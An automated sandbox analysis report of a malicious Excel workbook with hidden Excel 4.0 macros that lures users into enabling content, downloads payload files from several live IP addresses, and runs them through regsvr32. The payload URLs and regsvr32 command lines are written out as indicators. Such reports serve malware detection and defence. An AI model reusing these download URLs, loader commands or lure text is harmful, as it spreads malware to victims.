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Windows Analysis Report ClaimCopy-46148734-12012021.xlsb

Overview

General Information

Sample Name:	ClaimCopy-46148734-12012021.xlsb
Analysis ID:	532405
MD5:	f1107ae8c76f3ac6c7691fa5a857b206
SHA1:	b69597b25562a96547402d9bcadc096a340b8a69
SHA256:	85278a1649ffd17dae84fce72827f804b0091b907efd841ac95f6b4644fd8d5a
Tags:	xlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Multi AV Scanner detection for submitted file

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Detected potential crypto function

Potential document exploit detected (performs HTTP gets)

Contains functionality for execution timing, often used to detect debuggers

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1212 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2520 cmdline: regsvr32 C:\ProgramData\Volet1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2544 cmdline: regsvr32 C:\ProgramData\Volet2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 668 cmdline: regsvr32 C:\ProgramData\Volet3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2024 cmdline: regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2796 cmdline: regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2176 cmdline: regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 C:\ProgramData\Volet1.ocx, CommandLine: regsvr32 C:\ProgramData\Volet1.ocx, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1212, ProcessCommandLine: regsvr32 C:\ProgramData\Volet1.ocx, ProcessId: 2520

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: ClaimCopy-46148734-12012021.xlsb

ReversingLabs: Detection: 22%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.106.123.73:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 146.19.170.39:80

Source: global traffic	HTTP traffic detected: GET /882070564739.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 146.19.170.39Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /882070564739.dat2 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 146.19.170.39Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 94.140.114.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.106.123.73
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39
Source: unknown	TCP traffic detected without corresponding DNS query: 146.19.170.39

Source: EXCEL.EXE, 00000000.00000002.1036404921.0000000008140000.00000004.00000001.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com> equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EXCEL.EXE, 00000000.00000002.1036404921.0000000008140000.00000004.00000001.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 07:22:41 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 07:24:48 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	String found in binary or memory: http://146.19.170.39/882070564739.dat2
Source: EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	String found in binary or memory: http://185.106.123.73/882070564739.dat2
Source: EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	String found in binary or memory: http://185.106.123.73/882070564739.dat2l
Source: EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	String found in binary or memory: http://94.140.114.63/882070564739.dat2
Source: EXCEL.EXE, 00000000.00000002.1036421341.0000000008145000.00000004.00000001.sdmp	String found in binary or memory: http://94.140.114.63/882070564739.dat2v
Source: regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000006.00000002.1029683000.0000000003A30000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1029703735.0000000003A00000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000006.00000002.1029074301.0000000001CC0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1029070172.0000000001C00000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1029094968.0000000001E00000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000006.00000002.1029683000.0000000003A30000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1029703735.0000000003A00000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1029751189.0000000003B90000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.1034659757.0000000005257000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1030624047.0000000004B97000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030615784.0000000004AF7000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030651029.0000000004CD7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F5C3290.jpg

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /882070564739.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 146.19.170.39Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /882070564739.dat2 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 146.19.170.39Connection: Keep-Alive

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" in the yellow bar above. example of notification ( 0 ~EcmwARNNG Thisfileoriginate
Source: Screenshot number: 4	Screenshot OCR: Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the document.
Source: Screenshot number: 4	Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: ClaimCopy-46148734-12012021.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: ClaimCopy-46148734-12012021.xlsb	Initial sample: Sheet name: Tiposa1
Source: ClaimCopy-46148734-12012021.xlsb	Initial sample: Sheet name: Tiposa

Source: ClaimCopy-46148734-12012021.xlsb	Macro extractor: Sheet name: Tiposa1
Source: ClaimCopy-46148734-12012021.xlsb	Macro extractor: Sheet name: Tiposa

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02E966E8	0_2_02E966E8
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02E966F3	0_2_02E966F3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02E96340	0_2_02E96340
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02E96743	0_2_02E96743
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02E96753	0_2_02E96753
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Code function: 0_2_02E9CF01	0_2_02E9CF01

Source: ClaimCopy-46148734-12012021.xlsb

ReversingLabs: Detection: 22%

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet1.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet2.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet3.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 C:\ProgramData\Volet3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet4.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet5.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -e -n -i:&Tiposa!G22& C:\ProgramData\Volet6.ocx	Jump to behavior

Source: regsvr32.exe, 00000006.00000002.1030397891.00000000049B0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1030396801.0000000004910000.00000002.00020000.sdmp, regsvr32.exe, 00000009.00000002.1030446842.0000000004AF0000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$ClaimCopy-46148734-12012021.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCDC9.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.expl.evad.winXLSB@13/5@0/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ClaimCopy-46148734-12012021.xlsb	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: 12260000.0.dr	Initial sample: OLE zip file path = xl/media/image1.jpg

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 1352	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2724	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1332	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Code function: 0_2_02E966E8 rdtsc

0_2_02E966E8

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Code function: 0_2_02E966E8 rdtsc

0_2_02E966E8

Source: EXCEL.EXE, 00000000.00000002.1029177873.00000000007F0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1029018214.00000000008C0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1028994305.0000000000800000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.1029177873.00000000007F0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1029018214.00000000008C0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1028994305.0000000000800000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.1029177873.00000000007F0000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.1029018214.00000000008C0000.00000002.00020000.sdmp, regsvr32.exe, 00000007.00000002.1028994305.0000000000800000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Mitre Att&ck Matrix

